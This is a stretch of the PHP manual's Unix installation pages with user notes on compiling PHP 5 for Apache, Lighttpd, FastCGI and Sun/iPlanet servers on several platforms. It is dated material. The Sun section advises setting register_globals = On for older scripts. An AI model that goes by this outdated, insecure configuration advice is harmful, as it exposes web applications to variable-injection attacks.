php-5.2.9]$ ./configure --with-mcrypt --with-mhash --with-bz2 --enable-calendar --with-curl --enable-dbase --enable-exif --enable-ftp --with-gd --with-gettext --with-gmp --with-iconv --enable-mbstring --with-mime_magic --with-mysql --with-mysqli --with-openssl --enable-pcntl --with-pdo_mysql --with-pdo_sqlite --with-pspell --enable-shmop --enable-sockets --enable-sysvmsg --enable-sysvsem --enable-sysvshm --enable-wddx --with-zlib --enable-safe-mode

as such, i needed a number of packages installed. Now I haven't tracked additional packages over base--there may be required packages that I happened to have installed for other things. But this is a pretty good list, i reckon:

php-5.2.9]$ sudo yum install mcrypt libmcrypt mhash libmhash libxml2-devel openssl-devel bzip2-devel curl-devel libjpeg-devel libpng-devel gmp-devel mysql-devel aspell-devel zlib zlib-devel

Configure script errors
--------------------------------------------
In my experience, these errors have been due (with any software, PHP included) mostly to missing development packages, which contain the libraries and headers needed to compile support for that library's function into the application.

This becomes a process of:
-executing the ./configure script and looking at the error
-installing the devel package providing the resource referenced by the error (google using the error as search term as needed)
-repeat until the ./configure script makes it through without error

Upshot: identify the software referenced by the error, and install it.

Example
-----------
Example error:
     configure: error: Cannot find OpenSSL's <evp.h>
Example explanation
     configure is looking for a header (and probably a lot of other stuff) from a missing openssl package.
Example solution:
php-5.2.9]$sudo yum install openssl-devel

Compiling (and testing and submitting)
----------------------------------------------
with ./configure working, you're ready to compile. I think it's important to test and submit the tests to the developers, you do what you want.

$ make;make test

Installing
-------------
$sudo make install

(be sure you, heh, have the system php removed before you do this step. seriously)

Best of luck!
Tom420.Duhamel 01-Feb-2009 05:31
I have successfully installed Apache 2.2.11 and PHP 5.2.8 under Red Hat 9.0 on a Pentium 166 with 32 MB of RAM.

While I used RH9, the worst possible case, these notes are probably good for RH-based distributions too (Red Hat Enterprise, Fedora, CentOS...)

If you want to install MySQL, it needs to be installed before PHP because PHP requires some libraries be available.

One think important when picking up a binary distribution of MySQL is to download all four packages: MySQL-server, MySQL-devel, MySQL-client and MySQL-shared. Note: The MySQL was bundled with PHP 4 but is not anymore in PHP 5.

Then you need to install Apache before PHP, because again PHP needs some libraries be available. I installed Apache 2 from source, using the very last version available, which is 2.2.11.

I installed PHP 5.2.8 from source. Here, I had a number of problems, but none which I could not resolve easily, some of them with a little help from different forums I found through Google.

Rembember: When it says you need a package named xyz and you notice there is also one named xyz-devel, grab it.

Most of the packages I got from:
http://legacy.redhat.com/pub/redhat/linux/9/en/os/i386/RedHat/RPMS/
A similar page exists for other versions of Red Hat
and:
http://rpmfind.net/
This site has an updated version of some of the packages. Make sure to use only the one labeled for you version (in my case, Red Hat 9.0) or it will not likely work.

You already have glibc and glibc-common installed, but you need to get glibc-devel and glibc-kernheaders. Make sure to match glibc's version (rpm -q glibc). Note: When it says kernel-header is a required dependency, that's glibc-kernheader (not kernel-source). You will also need binutils (no need to match the version), and gcc and cpp (version must match).

You need zlib-devel (zlib is probably already installed, match the version you have).

If you install the GD extension, the actual library is already bundled with PHP 5 (use that one, they have done some changes in there, so don't upgrade), but you will need to install libpng and libpng-devel (match version, or disable in configure if you don't want) and libjpeg (no -devel with that one).

You will also need libxml2. Now there were a problem, because PHP requires libxml2 be 2.6 or greater, but Red Hat only supplied 2.5.4-1 for RH9 (if you have a more recent distro, you might be more lucky). After looking for a while, I decided to grab the source code for the most recent distribution at the official website (http://xmlsoft.org/) and compiled.

Hope my post is useful to someone. Please, share your experience when compiling/installing for your particular platform and setup. Remember how hard it's been for you the very first time. I confess, my very first server installation took me nearly a week and I was glad others helped me.
nabil at world dot com 23-May-2008 07:27
I couldn't start Apache2 after installing PHP5 in archlinux, I got this error :

Cannot load /.../libphp5.so into server: /.../libphp5.so: undefined symbol: _efree

The solution was "make clean" on the PHP5 source directory, then ./configure, make & make install again.
chris@gerlt -dot- net 22-Sep-2006 06:33
Install issues on Redhat, specifically RHEL4 with php4 already installed:

I discovered that there was an issue caused by redhat loading php4 in another file seperate from the httpd.conf file!  This took me hours to discover.  Make sure you know if the apache config file (httpd.conf) is loading configurations from a directory (or another file(s)) as well.  If so, look in there for any php module loading which could conflict with the new module you are compiling/installing.
susie91 27-Aug-2006 08:34
for slackware 10.2 users with apache2, mysql5, and trying to install php5:

when following the directions above, after this step:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql

i kept getting this error:
"Unable to find MySql header files...."

the only way i could get php5 with mysql support was to compile MySql5 from source, and not use the binary as the mysql site recommends.

then i was able to ./configure successfully, but for some reason php was configured to compile the CGI version.

so, had to use this ./configure line:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql  --disable-cgi

alternatively, you could install php4 which does bundle the MySql client files.
jaya 05-Jul-2006 11:41
PHP 5.1.4 INSTALLATION on Solaris 9 (Sparc)

Solaris9 Packages Installed:

Verify required package installation:
root# pkginfo SUNWbtool SUNWsprot SUNWtoo SUNWhea SUNWarc \
SUNWlibm SUNWlibms SUNWdfbh SUNWxglh SUNWcg6h

Uninstall Default Apache Packages:
root# /etc/init.d/apache stop
root# pkginfo |grep Apache
root# pkgrm SUNWaclg SUNWapchd SUNWapchr SUNWapchu

Create installation Directory:
root# mkdir /phpdata/

Download Required Packages from Sunfreeware:

Install libiconv-1.8 and gcc3.3.2 packages
root# pkgadd -d ./libiconv-1.8-sol9-sparc-local
root# pkgadd -d ./gcc-3.3.2-sol9-sparc-local

set LD_LIBRARY_PATH, CC and PATH variables
root# LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:\
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:\
/usr/local/apr/lib:/opt/mysql/mysql/lib
root# CC=gcc
root# PATH=$PATH:/usr/ucb:/usr/local/bin/
root# export LD_LIBRARY_PATH CC PATH

Install apr-1.2.2 and aprutil-1.2.2 packages

root# gzcat apr-1.2.2.tar.gz |tar xvf -
root# cd apr-1.2.2
root# ./configure
root# make
root# make install
root# cd ..

root# gzcat aprutil-1.2.2.tar.gz |tar xvf -
root# cd apr-util-1.2.2/
root# ./configure --with-apr=/usr/local/apr/
root# make
root# make install

Install gawk-3.1.4, expat-1.95.5, db-4.2.52.NC,
gdbm-1.8.3, libgcc-3.3 and libxml2-2.6.16 packages
root# cd ..
root# pkgadd -d ./gawk-3.1.4-sol9-sparc-local
root# pkgadd -d ./expat-1.95.5-sol9-sparc-local
root# pkgadd -d ./db-4.2.52.NC-sol9-sparc-local
root# pkgadd -d ./gdbm-1.8.3-sol9-sparc-local
root# pkgadd -d ./libgcc-3.3-sol9-sparc-local
root# pkgadd -d ./libxml2-2.6.16-sol9-sparc-local

Install GNU make package
root# gzcat make-3.81.tar.gz |tar xvf -
root# cd make-3.81
root# ./configure
root# make
root# make install
root# cd ..

Install mysql-standard-5.0.22 package
Search for user mysql
root# grep mysql /etc/passwd
root# grep mysql /etc/group

If not found create user and group mysql
root# groupadd mysql
root# useradd -G mysql mysql
root# pkgadd -d ./mysql-standard-5.0.22-solaris9-sparc.pkg.gz

Install openssl-0.9.7g package
root# gzcat openssl-0.9.7g.tar.gz |tar xvf -
root# cd openssl-0.9.7g
root# ./config shared
root# make
root# make install
root# cd ..

Install Apache2 package
root# gzcat httpd-2.2.0.tar.gz |tar xvf -
root# cd httpd-2.2.0
root# ./configure --enable-so
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cd ..

Install php-5.1.4 package
root# gzcat php-5.1.4.tar.gz |tar xvf -
root# cd php-5.1.4
root# ./configure --with-apxs2=/usr/local/apache2/bin/apxs\
--with-ldap --with-mysql=/opt/mysql/mysql/
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cp php.ini-dist /usr/local/lib/php.ini

Edit httpd.conf to load the PHP module
and to parse certain extensions as PHP
root# vi /usr/local/apache2/conf/httpd.conf
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php .phtml

Start Apache
root# /usr/local/apache2/bin/apachectl start

Add environmental variables below HTTPD
root# vi /usr/local/apache2/bin/apachectl
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:
/usr/local/apr/lib:/opt/mysql/mysql/lib
PATH=/bin:/sbin:/usr/ccs/bin:/usr/sbin:/usr/openwin/bin:\
/usr/ucb:/usr/local/bin/
export LD_LIBRARY_PATH PATH

Create Apache Startup Script
felixcca at yahoo dot ca 29-Mar-2006 06:13
I've (painfully) discovered that installing PHP5 with "make install" under SuSe 9.2 is NOT a good idea.
http://www.aditus.nu/jpgraph/apache2suse.php
This page explains how to install it without breaking everything that's php-related in the Apache2 configuration. Its first purpose, though, is to show how to have php 4 and 5 to cohabit properly.
frank@ethisoft 28-Sep-2005 02:30
Using Apache2 & PHP5 work perfectly fine & safe together.
- all core modules are safe in Zend Engine 2
- third-party-libraries should be avoided
- semaphores and shared memory enables you to ensure yourself that your application/website is thread-safe also with non-thread-safe PHP modules!
happyboy at php dot org 03-Aug-2005 04:30
FILE TRUNCATED!!

during the make process should u receive an error declaring ext/ctype/ctype.lo (or another file) is truncated then you need to 'make clean' prior to a healthy 'make' and 'make install.'

looking into your ext/ directory you may find the offensive file to be 1 byte long.
mihai dot sandu at gtstelecom dot ro 28-Feb-2005 05:22
For the SuSE9.2 install of PHP5.
First:
If building on a x64 platform, please set LDFLAGS="-L/usr/lib64" before configure.
As for install, it suffices to go to /etc/apache2 and:
ln -s sysconfig.d/loadmodule.conf httpd2-prefork.conf
and then make install
neil 10-Feb-2005 02:21
To install mysql and mysqli with PHP5 do the following:

after doing:

./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

.....
Pleasse note: you must have mysql-dev installed (RPM or source) or you will not have the mysql_config file at all.  The standard, server, and client installations of MySQL do not include it.  I read somewhere that the mysql and mysqli paths must be identical.

Quoted from Michael Kofler at the following link:
http://www.kofler.cc/forum/forumthread.php?rootID=3571
Dan Scott (dan dot scott at acm dot org) 19-Jan-2005 08:36
Building PHP 5.x with Apache2 on SuSE Professional 9.1/9.2

SuSE uses a rather fragmented set of Apache configuration files stored in /etc/apache2/. When you configure PHP 5.x with:

$ ./configure --with-apxs2=/usr/sbin/apxs2
$ make

everything builds just fine; but when you issue:
$ su -c "make install"

the unconventional Apache conf file layout confuses the install-sapi section of the Makefile and the process halts with the following error:

apxs:Error: Config file /etc/apache2/httpd2-prefork.conf not found.
make: *** [install-sapi] Error 1

At this point only the PHP SAPI library has been copied into place; the rest of the files (like PEAR scripts, PHP-CLI, etc) have not been installed. But never fear! You can overcome this problem with the following steps:

1. Edit Makefile and change the following line to remove "install-sapi":
install_targets = install-sapi install-cli install-pear install-build install-headers install-programs

2. Issue the make install command again:
$ su -c "make install"

3. Add the PHP module & type instructions to the Apache configuration. As root, create a new file, /etc/apache2/conf.d/php5.conf that contains the following lines:

LoadModule php5_module /usr/lib/apache2/libphp5.so
AddType application/x-httpd-php php

--- And that's it. Everything else is just as the documentation suggests it should be.
praveen dot k at masconit dot com 15-Nov-2004 01:38
Hi too had same problem with multiview like when i execute http://huey/admin/test.php it used to compile but when i use http://huey/admin/test it wouldnt recognise it as php file... i worked it out with the addhandler method and AddType in different line and setting multiview for directive

"multiviews Options Indexes FollowSymLinks MultiViews"

the directives u can set it to root directory so now when u type pn test it will search in precendence for test.php, test.html if any .....

its working for me with apache2.0.47 and php 4.3.9 on solaris

praveen
Apache 1.3.x on Unix systems
Lighttpd 1.4 on Unix systems
Installation on Unix systems


Lighttpd 1.4 on Unix systems

This section contains notes and hints specific to Lighttpd 1.4 installs of PHP on Unix systems.

Please use the » Lighttpd trac to learn how to install Lighttpd properly before continuing.

Fastcgi is the preferred SAPI to connect PHP and Lighttpd. Fastcgi is automagically enabled in php-cgi in PHP 5.3, but for older versions configure PHP with --enable-fastcgi. To confirm that PHP has fastcgi enabled, php -v should contain PHP 5.2.5 (cgi-fcgi) Before PHP 5.2.3, fastcgi was enabled on the php binary (there was no php-cgi).

Letting Lighttpd spawn php processes

To configure Lighttpd to connect to php and spawn fastcgi processes, edit lighttpd.conf. Sockets are preferred to connect to fastcgi processes on the local system.

Example #1 Partial lighttpd.conf

server.modules += ( "mod_fastcgi" )

fastcgi.server = ( ".php" =>
  ((
    "socket" => "/tmp/php.socket",
    "bin-path" => "/usr/local/bin/php-cgi",
    "bin-environment" => (
      "PHP_FCGI_CHILDREN" => "16",
      "PHP_FCGI_MAX_REQUESTS" => "10000"
    ),
    "min-procs" => 1,
    "max-procs" => 1,
    "idle-timeout" => 20
  ))
)

The bin-path directive allows lighttpd to spawn fastcgi processes dynamically. PHP will spawn children according to the PHP_FCGI_CHILDREN environment variable. The "bin-environment" directive sets the environment for the spawned processes. PHP will kill a child process after the number of requests specified by PHP_FCGI_MAX_REQUESTS is reached. The directives "min-procs" and "max-procs" should generally be avoided with PHP. PHP manages its own children and opcode caches like APC will only share among children managed by PHP. If "min-procs" is set to something greater than 1, the total number of php responders will be multiplied PHP_FCGI_CHILDREN (2 min-procs * 16 children gives 32 responders).

Spawning with spawn-fcgi

Lighttpd provides a program called spawn-fcgi to ease the process of spawning fastcgi processes easier.

Spawning php-cgi

It is possible to spawn processes without spawn-fcgi, though a bit of heavy-lifting is required. Setting the PHP_FCGI_CHILDREN environment var controls how many children PHP will spawn to handle incoming requests. Setting PHP_FCGI_MAX_REQUESTS will determine how long (in requests) each child will live. Here's a simple bash script to help spawn php responders.

Example #2 Spawning FastCGI Responders

#!/bin/sh

# Location of the php-cgi binary
PHP=/usr/local/bin/php-cgi

# PID File location
PHP_PID=/tmp/php.pid

# Binding to an address
#FCGI_BIND_ADDRESS=10.0.1.1:10000
# Binding to a domain socket
FCGI_BIND_ADDRESS=/tmp/php.sock

PHP_FCGI_CHILDREN=16
PHP_FCGI_MAX_REQUESTS=10000

env -i PHP_FCGI_CHILDREN=$PHP_FCGI_CHILDREN \
       PHP_FCGI_MAX_REQUESTS=$PHP_FCGI_MAX_REQUESTS \
       $PHP -b $FCGI_BIND_ADDRESS &

echo $! > "$PHP_PID"

Connecting to remote FCGI instances

Fastcgi instances can be spawned on multiple remote machines in order to scale applications.

Example #3 Connecting to remote php-fastcgi instances

fastcgi.server = ( ".php" =>
   (( "host" => "10.0.0.2", "port" => 1030 ),
    ( "host" => "10.0.0.3", "port" => 1030 ))
)

User Contributed Notes

pittss at gmail dot com 10-Aug-2011 04:53
You can custom php.ini just  add environment PHPRC in your virtualhost.

    fastcgi.server    = ( ".php" => ((
        "bin-path" => "/usr/bin/php-cgi",
        "socket" => "/tmp/php.socket",
        "bin-environment" => (
            "PHP_FCGI_CHILDREN" => "3",
            "PHP_FCGI_MAX_REQUESTS" => "1000",
            "PHPRC" => "/usr/www/vhost1/php.ini"
        ),
        "bin-copy-environment" => (
            "PATH", "SHELL", "USER"
        ),
        "broken-scriptfilename" => "enable"
    )))
Ant P. 10-Jun-2010 07:09
If PHP_FCGI_MAX_REQUESTS isn't given, the default value is 500.
askroot at gmail dot com 07-Apr-2009 02:32
<-- Start -->
#!/bin/bash

/usr/bin/spawn-fcgi \
    -s /var/run/lighttpd/php-fastcgi-kr.php.net.socket \
    -f "/usr/bin/php-cgi -c /etc/php-kr.php.net.ini" \
    -u lighttpd \
    -g lighttpd \
    -C 4 \
    -P /var/run/spawn-fcgi-kr.php.net.pid \
    -F 12
<--  End -->

lighttpd 1.5 - Config
<-- Start -->
$HTTP["host"] =~ "^(www.)?kr.php.net" {
    server.document-root = "/home/kr.php.net"
    accesslog.filename = "/var/log/lighttpd/kr.php.net-access_log"
    index-file.names = ( "index.php", "index.html", "index.htm" )
    url.access-deny = ( "~", ".inc", ".htaccess" )
    server.error-handler-404 = "/error.php"
    alias.url = (
        "/FAQ.php" => "/home/kr.php.net/manual/kr/faq.php",
        "/stats" => "/home/kr.php.net-stats"
    )
    setenv.add-environment = (
        "MIRROR_LANGUAGE" => "kr",
        "MIRROR_STATS" => "1"
    )
    $HTTP["url"] =~ "\.php$" {
        proxy-core.balancer = "round-robin"
        proxy-core.allow-x-sendfile = "enable"
        proxy-core.protocol = "fastcgi"
        proxy-core.backends = ( "unix:/var/run/lighttpd/php-fastcgi-kr.php.net.socket" )
        proxy-core.max-pool-size = 16
    }
}
<-- End -->
Apache 2.x on Unix systems
Sun, iPlanet and Netscape servers on Sun Solaris
Installation on Unix systems


Sun, iPlanet and Netscape servers on Sun Solaris

This section contains notes and hints specific to Sun Java System Web Server, Sun ONE Web Server, iPlanet and Netscape server installs of PHP on Sun Solaris.

From PHP 4.3.3 on you can use PHP scripts with the NSAPI module to generate custom directory listings and error pages. Additional functions for Apache compatibility are also available. For support in current web servers read the note about subrequests.

You can find more information about setting up PHP for the Netscape Enterprise Server (NES) here: » http://benoit.noss.free.fr/php/install-php4.html

To build PHP with Sun JSWS/Sun ONE WS/iPlanet/Netscape web servers, enter the proper install directory for the --with-nsapi=[DIR] option. The default directory is usually /opt/netscape/suitespot/. Please also read /php-xxx-version/sapi/nsapi/nsapi-readme.txt.

  1. Install the following packages from » http://www.sunfreeware.com/ or another download site:

    • autoconf-2.13
    • automake-1.4
    • bison-1_25-sol26-sparc-local
    • flex-2_5_4a-sol26-sparc-local
    • gcc-2_95_2-sol26-sparc-local
    • gzip-1.2.4-sol26-sparc-local
    • m4-1_4-sol26-sparc-local
    • make-3_76_1-sol26-sparc-local
    • mysql-3.23.24-beta (if you want mysql support)
    • perl-5_005_03-sol26-sparc-local
    • tar-1.13 (GNU tar)

  2. Make sure your path includes the proper directories PATH=.:/usr/local/bin:/usr/sbin:/usr/bin:/usr/ccs/bin and make it available to your system export PATH.
  3. gunzip php-x.x.x.tar.gz (if you have a .gz dist, otherwise go to 4).
  4. tar xvf php-x.x.x.tar
  5. Change to your extracted PHP directory: cd ../php-x.x.x

  6. For the following step, make sure /opt/netscape/suitespot/ is where your netscape server is installed. Otherwise, change to the correct path and run:

    ./configure --with-mysql=/usr/local/mysql \
--with-nsapi=/opt/netscape/suitespot/ \
--enable-libgcc

  7. Run make followed by make install.

After performing the base install and reading the appropriate readme file, you may need to perform some additional configuration steps.

Configuration Instructions for Sun/iPlanet/Netscape

Firstly you may need to add some paths to the LD_LIBRARY_PATH environment for the server to find all the shared libs. This can best done in the start script for your web server. The start script is often located in: /path/to/server/https-servername/start. You may also need to edit the configuration files that are located in: /path/to/server/https-servername/config/.

  1. Add the following line to mime.types (you can do that by the administration server):

    type=magnus-internal/x-httpd-php exts=php

  2. Edit magnus.conf (for servers >= 6) or obj.conf (for servers < 6) and add the following, shlib will vary depending on your system, it will be something like /opt/netscape/suitespot/bin/libphp4.so. You should place the following lines after mime types init.

    Init fn="load-modules" funcs="php4_init,php4_execute,php4_auth_trans" shlib="/opt/netscape/suitespot/bin/libphp4.so"
Init fn="php4_init" LateInit="yes" errorString="Failed to initialize PHP!" [php_ini="/path/to/php.ini"]
    (PHP >= 4.3.3) The php_ini parameter is optional but with it you can place your php.ini in your web server config directory.

  3. Configure the default object in obj.conf (for virtual server classes [version 6.0+] in their vserver.obj.conf):

    <Object name="default">
.
.
.
.#NOTE this next line should happen after all 'ObjectType' and before all 'AddLog' lines
Service fn="php4_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]
.
.
</Object>
    (PHP >= 4.3.3) As additional parameters you can add some special php.ini-values, for example you can set a docroot="/path/to/docroot" specific to the context php4_execute is called. For boolean ini-keys please use 0/1 as value, not "On","Off",... (this will not work correctly), e.g. zlib.output_compression=1 instead of zlib.output_compression="On"

  4. This is only needed if you want to configure a directory that only consists of PHP scripts (same like a cgi-bin directory):

    <Object name="x-httpd-php">
ObjectType fn="force-type" type="magnus-internal/x-httpd-php"
Service fn=php4_execute [inikey=value inikey=value ...]
</Object>
    After that you can configure a directory in the Administration server and assign it the style x-httpd-php. All files in it will get executed as PHP. This is nice to hide PHP usage by renaming files to .html.

  5. Setup of authentication: PHP authentication cannot be used with any other authentication. ALL AUTHENTICATION IS PASSED TO YOUR PHP SCRIPT. To configure PHP Authentication for the entire server, add the following line to your default object:

    <Object name="default">
AuthTrans fn=php4_auth_trans
.
.
.
</Object>

  6. To use PHP Authentication on a single directory, add the following:

    <Object ppath="d:\path\to\authenticated\dir\*">
AuthTrans fn=php4_auth_trans
</Object>

Note:

The stacksize that PHP uses depends on the configuration of the web server. If you get crashes with very large PHP scripts, it is recommended to raise it with the Admin Server (in the section "MAGNUS EDITOR").

CGI environment and recommended modifications in php.ini

Important when writing PHP scripts is the fact that Sun JSWS/Sun ONE WS/iPlanet/Netscape is a multithreaded web server. Because of that all requests are running in the same process space (the space of the web server itself) and this space has only one environment. If you want to get CGI variables like PATH_INFO, HTTP_HOST etc. it is not the correct way to try this in the old PHP way with getenv() or a similar way (register globals to environment, $_ENV). You would only get the environment of the running web server without any valid CGI variables!

Note:

Why are there (invalid) CGI variables in the environment?

Answer: This is because you started the web server process from the admin server which runs the startup script of the web server, you wanted to start, as a CGI script (a CGI script inside of the admin server!). This is why the environment of the started web server has some CGI environment variables in it. You can test this by starting the web server not from the administration server. Use the command line as root user and start it manually - you will see there are no CGI-like environment variables.

Simply change your scripts to get CGI variables in the correct way for PHP 4.x by using the superglobal $_SERVER. If you have older scripts which use $HTTP_HOST, etc., you should turn on register_globals in php.ini and change the variable order too (important: remove "E" from it, because you do not need the environment here):

variables_order = "GPCS"
register_globals = On

Special use for error pages or self-made directory listings (PHP >= 4.3.3)

You can use PHP to generate the error pages for "404 Not Found" or similar. Add the following line to the object in obj.conf for every error page you want to overwrite:

Error fn="php4_execute" code=XXX script="/path/to/script.php" [inikey=value inikey=value...]
where XXX is the HTTP error code. Please delete any other Error directives which could interfere with yours. If you want to place a page for all errors that could exist, leave the code parameter out. Your script can get the HTTP status code with $_SERVER['ERROR_TYPE'].

Another possibility is to generate self-made directory listings. Just create a PHP script which displays a directory listing and replace the corresponding default Service line for type="magnus-internal/directory" in obj.conf with the following:

Service fn="php4_execute" type="magnus-internal/directory" script="/path/to/script.php" [inikey=value inikey=value...]
For both error and directory listing pages the original URI and translated URI are in the variables $_SERVER['PATH_INFO'] and $_SERVER['PATH_TRANSLATED'].

Note about nsapi_virtual() and subrequests (PHP >= 4.3.3)

The NSAPI module now supports the nsapi_virtual() function (alias: virtual()) to make subrequests on the web server and insert the result in the web page. This function uses some undocumented features from the NSAPI library. On Unix the module automatically looks for the needed functions and uses them if available. If not, nsapi_virtual() is disabled.

Note:

But be warned: Support for nsapi_virtual() is EXPERIMENTAL!!!

User Contributed Notes

Brian 07-Apr-2008 07:15
For me at least, this part of the second line in the magnus.conf is not optional:

Init fn="php5_init" LateInit="yes"

Without it, the web server crashes when trying to execute php files
yairl at savion dot huji dot ac dot il 29-Nov-2007 05:01
For installation instruction for the new Sun One 7 webserver you must read the following doc. PHP 5.2.X will work fine, old version needs some changes.

http://developers.sun.com/webtier/reference/techart/php2.html
ericbackstrom at hotmail dot com 27-Mar-2006 03:09
Using gcc 3.3 I had problems compiling PHP for 64 bits, I had to replace mysql/64 bits with mysql/32 bits (Solaris cannot mix 32 bits and 64 bits libraries), so I specified the following compiler flag:

CFLAGS="-m32";export CFLAGS;

I also had problems with PHP 5.1.2 in sapi/nsapi/nsapi.c source code, It had incorrect comments and file paths :S

When trying to install PHP with mysql support I found I had these problems too: http://bugs.php.net/bug.php?id=34516... So don't mix sun ld and gcc ld because you will get into troubles. I built mysql libraries myself in a separated directory.

And don't forget to set your LD_LIBRARY_PATH to something like:

LD_LIBRARY_PATH="/usr/local/lib:/usr/lib"
vijay 13-Mar-2006 06:48
If I start my iPlanet (v6.0 SP2) webserver with PHP5.1.2 i get this message every 1/2 sec in my error log....

[12/Mar/2006:11:01:48] failure (15936): Failed to read kernel statistics structures (No such device or address)

This happens only if I start my server loading PHP module. FYI - When I configured my php I had it use oracle instant client libraries.

One fix I found was to comment out this line in my magnus.conf file.

#Init fn="stats-init" profiling="on"

But I don't think i can do this on my prodcution machine. Any ideas to come around this issue?

Thanks
Vijay
jedokahn at yahoo dot com at 23-Nov-2004 12:50
I noted and installed *all* pkgs required to compile PHP5 but kept getting an error on compile when it attempted to test the gcc compiler. The /usr/ccs/bin and all the $PATH requirements were ALL there....why the error? I tried running gcc from the command prompt and got a "gcc: fatal: libiconv.so.2: open failed: "....DUH I needed to install the libiconv pkg from sunfreeware.com for gcc compiler to work. Just a small bonehead maneuver, but I thought I would add it just in case someone else ran into the particular problem.
masochisthalo at yahoo dot com 23-Aug-2004 02:28
Title: Barebones PHP Installation on Sun One Web Server 6.1 for JDS2
Author: Hijinio Reynoso Jr.
Last Updated: August 23, 2004
Summary: If you have installed Sun One Web Server 6.1 on the JDS (aka Java Desktop System from Sun), this will help you get PHP installed on it (without XML and MySQL support.)  In any case, this should get you started which is better than not having it installed at all.  These directions were based mainly on those available from PHP.net, but updated to meet the needs of this specific configuration.

Instructions
----------------------------
0. Make sure your web server isn't running and ensure that all JDS developer packages are installed; to be safe, I always ensure that all developer packages are available via Applications > System Tools > Administration > Software Installer

1. Download http://us3.php.net/get/php-5.0.1.tar.bz2/from/a/mirror and extract into the directory of your choice. (5.0.1 was the only version I could get to make install correctly)

2. CD into the extracted PHP directory and type:
> ./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml
(Your web server directory may vary from the above's default.)

3. Once it's done configuring (and it should be successful should you have all the proper packages), type:
> make

4. When its done compiling, it's time to install as root:
# make install

5. Now, configuration of your web server begins:
# cd /opt/SUNWwbsvr/https-[yourWebServer]/config

6. vi mime.types (or other editor) to add this line into it:
type=magnus-internal/x-httpd-php exts=php

7. vi magnus.conf to add the following 2 lines to end of it:  (NOTE: the 2nd line could be optional)
Init fn="load-modules" funcs="php5_init,php5_execute,php5_auth_trans" shlib="/opt/SUNWwbsvr/bin/libphp5.so"
Init fn="php5_init" LateInit="yes" errorString="Failed to initialize PHP!" [php_ini="/path/to/php.ini"]

8. vi obj.conf to add the following line to <Object name="default">. Make sure this happens after all "ObjectType" entries and before any "AddLog" entries:  (NOTE: for virtual servers, edit vserver.obj.conf)
Service fn="php5_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]

9. Now, start up your web server.  Also, make sure to log into the admin server and click the "Apply" button in there.  You will also have set "index.php" as an index filename in your virtual server's Document Preferences.

10. Congrats!  Now, you have PHP installed!  Of course, there are other features you could enable (MySQL, XML, etc.), but I haven't tested against those.  Just consult the following page for hints: http://www.php.net/manual/en/install.unix.sun.php
mark at markround dot com 19-Aug-2004 09:36
Quick note : By replacing "php4" with "php5", the above instructions work perfectly when building PHP5 for an iPlanet server. EG:-

Init fn="load-modules" funcs="php5_init,php5_execute,php5_auth_trans" etc.

Works fine here on 6.0SP2, Solaris 9 Sparc.

-Mark
[mark at markround dot com]
Lighttpd 1.4 on Unix systems
CGI and command line setups
Installation on Unix systems


CGI and command line setups

By default, PHP is built as both a CLI and CGI program, which can be used for CGI processing. If you are running a web server that PHP has module support for, you should generally go for that solution for performance reasons. However, the CGI version enables users to run different PHP-enabled pages under different user-ids.

Warning

A server deployed in CGI mode is open to several possible vulnerabilities. Please read our CGI security section to learn how to defend yourself from such attacks.

Testing

If you have built PHP as a CGI program, you may test your build by typing make test. It is always a good idea to test your build. This way you may catch a problem with PHP on your platform early instead of having to struggle with it later.

Using Variables

Some server supplied environment variables are not defined in the current » CGI/1.1 specification. Only the following variables are defined there: AUTH_TYPE, CONTENT_LENGTH, CONTENT_TYPE, GATEWAY_INTERFACE, PATH_INFO, PATH_TRANSLATED, QUERY_STRING, REMOTE_ADDR, REMOTE_HOST, REMOTE_IDENT, REMOTE_USER, REQUEST_METHOD, SCRIPT_NAME, SERVER_NAME, SERVER_PORT, SERVER_PROTOCOL, and SERVER_SOFTWARE. Everything else should be treated as 'vendor extensions'.

User Contributed Notes

gordon_e_rouse at yahoo dot com dot au 28-Feb-2008 12:25
Have noticed on debian now, and may be true of other builds, that if you are using php as a command line language, you don't need the -q ie: #!/usr/bin/php -q anymore.

What really took me ages to work out was how to the use php in cgi mode (ie in a cgi-bin directory) as it doesn't send http headers by default. It also fails to populate $_GET and $_POST arrays.

Turns out debian php build comes with /usr/bin/php-cgi

Use this in your shebang if running CGI scripts!

ie:

#!/usr/bin/php-cgi

I understand now - but had to figure this out myself!

Keywords I tried to solve this problem with were:

PHP, CGI, no $_GET array, Premature end of script headers, No http Headers, debian

Hopefully this post might save someone many hours of frustration, if they are googling the above words!
info at ch2o dot info 17-Jun-2005 07:59
additionnal information to fastcgi...

the compilation of fastcgi library is not nessesary, php include a modified version of this library,
and fastcgi module have this own implementation of the protocole fastcgi...

on the first server (where apache are!) the uid and gid of apache instance of the fastcgi module
must be the same on the php file to execute...
without that they dont work...
the module refuse to send the request to the fastcgi php server...
info at ch2o dot info 13-Jun-2005 10:59
for using fastcgi external server in place of cgi or mod php with php:

to compile fastcgi librairie:

  wget http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz
  tar xzvf fcgi-2.4.0.tar.gz
  cd fcgi-2.4.0
  ./configure
  make
  gmake install

to compile the fastcgi apache module:

  wget http://www.fastcgi.com/dist/mod_fastcgi-2.4.2.tar.gz
  tar xvzf mod_fastcgi-2.4.2.tar.gz
  cd mod_fastcgi-2.4.2
  path/to/apache/bin/apxs -i -A -n fastcgi -o mod_fastcgi.la -c *.c

after you must modify the http.conf to add that:

  # load fcgi module
  LoadModule fastcgi_module      modules/mod_fastcgi.so

  # authorization to execute fcgi  on tree "/fcgi-bin/"
  <Location /fcgi-bin/>
      Options ExecCGI
